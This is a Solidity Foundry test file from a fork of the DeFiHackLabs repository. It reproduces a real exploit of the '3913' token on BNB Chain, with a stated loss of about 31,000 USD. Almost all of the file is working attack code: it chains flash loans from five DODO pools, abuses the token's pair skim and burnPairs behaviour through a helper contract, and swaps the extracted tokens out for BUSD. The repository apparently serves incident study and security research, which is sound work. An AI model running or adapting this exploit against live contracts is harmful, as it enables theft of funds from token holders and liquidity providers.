forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
3913_exp.sol
162 lines (144 loc) · 7.64 KB
/
3913_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo -- Total Lost : ~31,354 USD$
// Attacker : https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7
// Attack Contract : https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83
// Attacker Transaction :
// https://bscscan.com/tx/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed
// @Analysis
// https://defimon.xyz/attack/bsc/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed
// The hacker sent multiple transactions to attack, just taking the first transaction as an example.
interface IDodo {
function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
}
interface I3913 is IERC20 {
function burnPairs() external;
}
contract Exploit is Test {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
I3913 vulnerable = I3913(0xd74F28c6E0E2c09881Ef2d9445F158833c174775);
IPancakePair pair = IPancakePair(0x715762906489D5D671eA3eC285731975DA617583);
IPancakePair pair3913to9419 = IPancakePair(0xd6d66e1993140966e6029815eDbB246800928969);
IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address dodo1 = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;
address dodo2 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;
address dodo4 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
address dodo5 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 token9419 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477);
uint256 dodo1FlashLoanAmount;
uint256 dodo2FlashLoanAmount;
uint256 dodo3FlashLoanAmount;
uint256 dodo4FlashLoanAmount;
uint256 dodo5FlashLoanAmount;
function setUp() public {
cheats.createSelectFork("bsc", 33_132_467);
cheats.label(address(vulnerable), "3913");
cheats.label(address(pair), "pair");
cheats.label(address(token9419), "9419");
}
function testExploit() public {
deal(address(busd), address(this), 0);
emit log_named_decimal_uint(
"attacker balance busd before attack:", busd.balanceOf(address(this)), busd.decimals()
);
dodo1FlashLoanAmount = busd.balanceOf(dodo1);
IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));
emit log_named_decimal_uint(
"attacker balance busd after attack:", busd.balanceOf(address(this)), busd.decimals()
);
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
if (msg.sender == dodo1) {
dodo2FlashLoanAmount = busd.balanceOf(dodo2);
IDodo(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));
busd.transfer(dodo1, dodo1FlashLoanAmount);
} else if (msg.sender == dodo2) {
dodo3FlashLoanAmount = busd.balanceOf(dodo3);
IDodo(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));
busd.transfer(dodo2, dodo2FlashLoanAmount);
} else if (msg.sender == dodo3) {
dodo4FlashLoanAmount = busd.balanceOf(dodo4);
IDodo(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));
busd.transfer(dodo3, dodo3FlashLoanAmount);
} else if (msg.sender == dodo4) {
dodo5FlashLoanAmount = busd.balanceOf(dodo5);
IDodo(dodo5).flashLoan(0, dodo5FlashLoanAmount, address(this), new bytes(1));
busd.transfer(dodo4, dodo4FlashLoanAmount);
} else if (msg.sender == dodo5) {
//end of flash loan
busd.approve(address(pair), type(uint256).max);
busd.approve(address(router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(busd);
path[1] = address(vulnerable);
router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);
path[1] = address(token9419);
router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);
NewContract x = new NewContract();
vulnerable.transfer(address(x), 1 ether);
x.transferToken(address(vulnerable), address(this));
path[1] = address(vulnerable);
router.swapExactTokensForTokens(
358_631_959_260_537_946_706_184, 0, path, address(this), block.timestamp + 100
);
busd.transfer(address(pair), 1);
assertEq(vulnerable.balanceOf(address(this)), 650_501_978_825_924_088_488_444_996_953);
vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));
pair.skim(address(x));
uint8 i = 0;
while (i < 10) {
x.transferToken(address(vulnerable), address(this));
if (vulnerable.balanceOf(address(0x570C19331c1B155C21ccD6C2D8e264785cc6F015)) != 1e15) {
busd.transfer(address(pair), 1);
vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));
pair.skim(address(x));
} else {
vulnerable.burnPairs();
}
i++;
}
assertEq(vulnerable.balanceOf(address(this)), 873_285_322_509_556_749_289_919_955_755);
path[0] = address(vulnerable);
path[1] = address(busd);
uint256[] memory amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)) * 98 / 100, path);
assertEq(amountOut[0], 855_819_616_059_365_614_304_121_556_639);
busd.transfer(address(pair), 1);
vulnerable.transfer(address(pair), amountOut[0]);
assertEq(amountOut[1] * 99 / 100, 386_867_521_275_785_735_087_292);
(uint112 res0, uint112 res1,) = pair.getReserves();
assertEq(res0, 585_082_814_956_957_699_188_861);
assertEq(res1, 424_480_476_638_586_992_222_101_033_564);
assert(amountOut[1] * 99 / 100 < res0);
assertEq(pair.token0(), address(busd));
pair.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));
path[0] = address(vulnerable);
path[1] = address(token9419);
amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)), path);
token9419.transfer(address(pair3913to9419), 1);
vulnerable.transfer(address(pair3913to9419), vulnerable.balanceOf(address(this)));
(res0, res1,) = pair3913to9419.getReserves();
assert(res0 > amountOut[1] * 99 / 100);
assertEq(pair3913to9419.token0(), address(token9419));
assertEq(amountOut[1] * 99 / 100, 278_798_044_220_113_865_039_589_361_218);
pair3913to9419.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));
//
path[0] = address(token9419);
path[1] = address(busd);
token9419.approve(address(router), type(uint256).max);
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
token9419.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100
);
busd.transfer(dodo5, dodo5FlashLoanAmount);
}
}
}
contract NewContract {
function transferToken(address token, address destination) external {
uint256 bal = I3913(token).balanceOf(address(this));
I3913(token).transfer(destination, bal);
}
}